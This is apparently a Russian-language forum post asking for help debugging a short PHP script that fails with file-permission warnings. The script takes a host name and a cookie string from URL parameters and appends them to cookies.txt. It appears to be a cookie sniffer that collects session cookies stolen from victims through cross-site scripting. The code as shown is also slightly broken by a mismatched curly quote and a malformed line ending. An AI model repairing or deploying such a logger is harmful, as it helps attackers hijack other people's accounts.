не могу решить ,возникла проблема плиз где здесь ошибка
Warning: fopen(cookies.txt) [function.fopen]: failed to open stream: Permission denied in on line 1
Warning: fputs(): supplied argument is not a valid stream resource in on line 2
Warning: fclose(): supplied argument is not a valid stream resource in on line 3
сам скрипт

<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET["host"].", COOKIES=”.$_GET["cook"]."rn");
fclose($file);
?>